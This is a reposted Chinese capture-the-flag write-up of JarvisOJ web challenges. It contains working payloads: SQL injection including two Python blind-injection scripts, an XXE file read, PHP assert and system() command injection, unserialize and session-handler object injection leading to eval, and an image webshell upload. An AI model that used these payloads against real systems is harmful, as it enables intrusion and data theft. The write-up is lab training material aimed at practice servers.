内容简介:服务器出问题不能弹出flag 不过思路是curl —local-port 51
PORT 51
服务器出问题不能弹出flag 不过思路是
curl —local-port 51 http://web.jarvisoj.com:32770/
LOCALHOST
http://web.jarvisoj.com:32774/
打开是localhost access only!!
抓包修改 X-forward-for: 127.0.0.1
Login
F12查看网络包时发现有 hint select * from ‘admin’ where password=’”.md5($pass,true).”‘
md5()函数有绕过的一个漏洞
看到这里的提交参数被MD5再组合进 SQL 查询语句,导致常规的注入手段几乎都失效了
但是注意到,MD5之后是hex格式,转化到字符串时如果出现’or’xxxx的形式,就会导致注入
这里提供一个抄来的字符串:ffifdyop
md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c
转成字符串为’or’6�]��!r,��b
从而完成了注入
神盾局的秘密
大图下面点击右键查看源码
<img src=”showimg.php?img=c2hpZWxkLmpwZw==” width=”100%”/>
一个任意文件读取
把 index.php base64编码放入其中得到源码
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
然后把 shield.php base64编码读取
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
分析一波 要求传入 class 其内容进行反序列化操作后是一个对象
这个对象要求是 Shield 并且其中的 $file=pctf.php
因此构建代码
<?php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
}
$g = new Shield();
$g -> file = 'pctf.php';
echo serialize($g);
?>
得到字符串 O:6:”Shield”:1:{s:4:”file”;s:8:”pctf.php”;}
传进去即可
IN A Mess
个人觉得是一道很好的题目
右键查看源码
<!–index.phps–>work harder!harder!harder!
访问 index.phps
得到源码
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
id可以用==弱类型比较绕过采用 0a
a需要用php://input 伪协议绕过 post data 是 1112 is a nice lab!
b采用 eregi()对%00截断 且substr不截断 构造 b=%0012345
满足条件后访问得到
Come ON!!! {/^HT2mCpcvOLf}
试提交flag但错误 猜测是一个路径
访问得到
http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1
猜测是一个sql注入
发现大部分词被过滤
后网上查看wirte up 发现可以用
/1/ 代替空格 双写 uniunionon等 绕开过滤
http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,database() 查到数据库test
http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,table_name/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=0x74657374 查到表名 content
http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74 查到字段名 id,context,title
http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=-1/*1*/uniunionon/*1*/seleselectct/*1*/1,2,group_concat(id,context,title)/*1*/frfromom/*1*/content 查到flag 1 PCTF{Fin4lly_U_got_i7_C0ngRatulation5} hi666
API调用
请设法获得目标机器/home/ctf/flag.txt中的flag值。
题目入口: http://web.jarvisoj.com:9882/
打开后右键查看源码 发现了xml 于是猜是一个XXE漏洞
抓包
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">
]>
<task><value>&xxe;</value></task>
按照正常的格式填好发过去 一开始返回400错误
后来发现需要把 Content-Type: application/xml 改一下
直接获取flag: CTF{XxE_15_n0T_S7range_Enough}
babyphp
http://web.jarvisoj.com:32798/
点进去发现存在提示 git
于是想到会不会是git源码泄露
打开扫描器一扫发现确实是
于是直接 Githack 下载一波源码
发现了可以代码执行
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
在 assert中 我们可以闭合一下引号 构造 payload
‘,’..’)===false and system(‘cat templates/flag.php’);//
那么原来的代码就是
assert("strpos('"templates/','..')===false and system('cat templates/flag.php');//.php', '..') === false") or die("Detected hacking attempt!");
可以读取到flag
61dctf{8e_careful_when_us1ng_ass4rt}
当然看到了其他师傅的payload是这样的
http://web.jarvisoj.com:32798/?page='.system("tac templates/flag.php").'
http://web.jarvisoj.com:32798/?page=' and die(show_source('templates/flag.php')) or '
http://web.jarvisoj.com:32798/?page=/././')|system('tac templates/flag.php');//
同样很强大
phpinfo
是一道很好的题目
题目上来直接给出了源码
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
这个题是完全没有头绪的直到看到了大佬类似题目的write up
https://www.jb51.net/article/107101.htm
https://blog.csdn.net/qq_35078631/article/details/77284684
在php.ini中存在几项配置项:
- session.save_path=”” —设置session的存储路径
- session.save_handler=””—设定用户自定义存储函数,如果想使用 PHP 内置会话存储机制之外的可以使用本函数(数据库等方式)
- session.auto_start boolen —指定会话模块是否在请求开始时启动一个会话,默认为0不启动
- session.serialize_handler string—定义用来序列化/反序列化的处理器名字。默认使用php
在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
- php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
- php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
- php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);。
处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组
举个栗子
我们可以看到php只是比php_serialize序列化多出了一个键名 + 竖线 ,键名可以是空的,那么我们只需要多加一个| 就可以完成代码注入,我们做一个小实验,构造两个文件index.php和flag.php,其代码如下
//index.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["OowoO"]=$_GET["a"];
echo $_SESSION["OowoO"];
?>1234567
//flag.php
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
?>
可以看到index.php中为session的输入,形式为php_serialize,而flag.php中解析的形式为php,那么我们构造请求
localhost/index.php?a=|O:5:"OowoO":1:{s:4:"mdzz";s:14:"echo "hacker";";}
再去用这个构造精良的session访问flag.php时就会被错误的解析
键名解析为空,而键值解析为了 OowoO 的一个对象 成功执行代码执行
而看我们这个题的源码
发现并没有任何输入的地方 这时候又有
可以利用Session Upload Progress进行上传 参考资料如下 https://secure.php.net/manual/en/session.upload-progress.php
我们构造一个文件,内容为
<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>12345
然后用burp截取上传的数据包,然后我们只要修改其中的filename即可完成上传。
在本地创建一个.php文件用于生成我们需要的序列化代码
最后一步我们还需要本地生成 序列化代码
<?php
ini_set('session.serialize_handler', 'php_serialize');
class OowoO
{
public $mdzz='需要设置的代码';
function __construct()
{
// $this->mdzz = 'phpinfo();';
}
function __destruct()
{
// echo $this->mdzz;
}
}
$obj = new OowoO();
echo serialize($obj);
?>
于是抓包修改filename
|O:5:"OowoO":1:{s:4:"mdzz";s:35:"print_r($_SERVER["DOCUMENT_ROOT"]);";}
/opt/lampp/htdocs
|O:5:"OowoO":1:{s:4:"mdzz";s:39:"print_r(scandir('/opt/lampp/htdocs/'));";}
|O:5:"OowoO":1:{s:4:"mdzz";s:73:"show_source("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php");";}
即可获取flag 学到了不少姿势啊!!!
Easy Gallery
题目入口: http://web.jarvisoj.com:32785/
这个题目是一个文件上传
文件上传一般需要考虑两大点
1.绕过过滤成功上传
2.执行上传文件
上传的时候,发现后台不是通过文件后缀来进行判断的,还对文件的MIME进行了判断,那么就必须上传图片一句话木马了。
copy 1.jpg/b+2.php/a 3.jpg
上传3.jpg的图片木马上去
然后发现 http://web.jarvisoj.com:32785/index.php?page=submit
猜想 ?page= 后的内容是否可以文件包含
尝试访问 http://web.jarvisoj.com:32785/index.php?page=submit ‘
报错 Warning: fopen(submit’.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24 No such file!
那我们就知道了其实是把page的参数加上 .php 进行文件包含
这里我们可用%00截断 后面的.php
那么我们上传图片马 后给我们的图片id试着去访问
uploads/图片id.jpg%00
但是出现 You should not do this!。
那猜测后台是不是对 <?php 内容 ?> 格式进行了过滤?
尝试采用绕过
<script language='php'> echo "123"; </script>
继续上传访问
即可获得flag
Simple injection
进去先看源码,扫描器扫一下,看一下请求头发现都没有什么信息
然后测试 admin admin 发现提示密码错误
测试 admin1 admin 提示用户名错误
看了师傅的博客 https://blog.csdn.net/qq_33426111/article/details/79439739
常见的登陆漏洞类型
同时验证用户名和密码
$sql = select * from users where username=$username and password=$password
$result = mysql_query($sql);
if($result) {
echo "登陆成功";
} else {
echo "登陆失败";
}
分步验证用户名、密码
$sql = "select password from users where username='$username'"
$result = mysql_query($sql);
if($result) {
$row = mysql_fetch_row($result);
$query_password = $row[$password];
#对输入的$password进行变形
$input_password = modify($passowrd);
if($input_password == $query_password) {
echo "登陆成功";
} else {
echo "密码错误";
}
} else {
echo "用户不存在";
}
所以猜测是分布验证用户名
测试 admin’# admin提示密码错误 表示没有过滤 ‘ #
测试 admin’ and 1=1# admin提示用户名错误 表示过滤了 = 或者and 或者空格
测试一下发现过滤了空格 随后发现可以用/**/ 来绕过空格的过滤
因此构成了一个sql盲注
直接引用师傅的code了
一、
import requests
def get_data():
result = ""
url = 'http://web.jarvisoj.com:32787/login.php'
payload = {
"username":'xx',
"password":1,
}
username_template = "'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))>{1}#"
chars = '0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1,33):
for char in chars:
char_ascii = ord(char)
username = username_template.format(i,char_ascii)
payload['username'] = username
response = requests.post(url,data=payload)
length = len(response.text)
# print(length)
#返回的长度只有1191和1192
if length>1191:
print(char)
result += char
break
print(result)
get_data()
二、
#encoding: utf-8
#created by noble @ 2017.1.21
import requests
url = "http://web.jarvisoj.com:32787/login.php"
table_name_temp = "admin'/**/and/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{0},1))>{1}#"
column_name_temp = "admin'/**/and/**/ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x61646D696E/**/limit/**/2,1),{0},1))>{1}#"
password_temp = "admin'/**/and/**/ascii(substr((select/**/password/**/from/**/admin/**/limit/**/0,1),{0},1))>{1}#"
result = ""
session = requests.Session()
char = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for i in range(1, 50): #设置字符长度为50
for c in char:
asc = ord(c) #获取字符的ascii值
username = password_temp.format(i, asc)
data = {'username': username,
'password': 'admin'
}
req = session.post(url=url, data=data, timeout=10)
status = req.status_code
length = req.headers['content-length']
if status == 200:
#print length
#print req.text
if length == "1205":
result += c
print c
break
print result
最后得到password的值为334cfb59c9d74849801d5acdcfdaadc3。
解md5后得:eTAloCrEP
登陆后得到flag:flag:CTF{s1mpl3_1nJ3ction_very_easy!!}
以上所述就是小编给大家介绍的《JavisOJ Web方向部分Writeup》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Unreal Engine 4 Scripting with C++ Cookbook
Sherif, William、Stephen Whittle / 2016-10-24
Unreal Engine 4 (UE4) is a complete suite of game development tools made by game developers, for game developers. With more than 100 practical recipes, this book is a guide showcasing techniques to us......一起来看看 《Unreal Engine 4 Scripting with C++ Cookbook》 这本书的介绍吧!
RGB转16进制工具
RGB HEX 互转工具
图片转BASE64编码
在线图片转Base64编码工具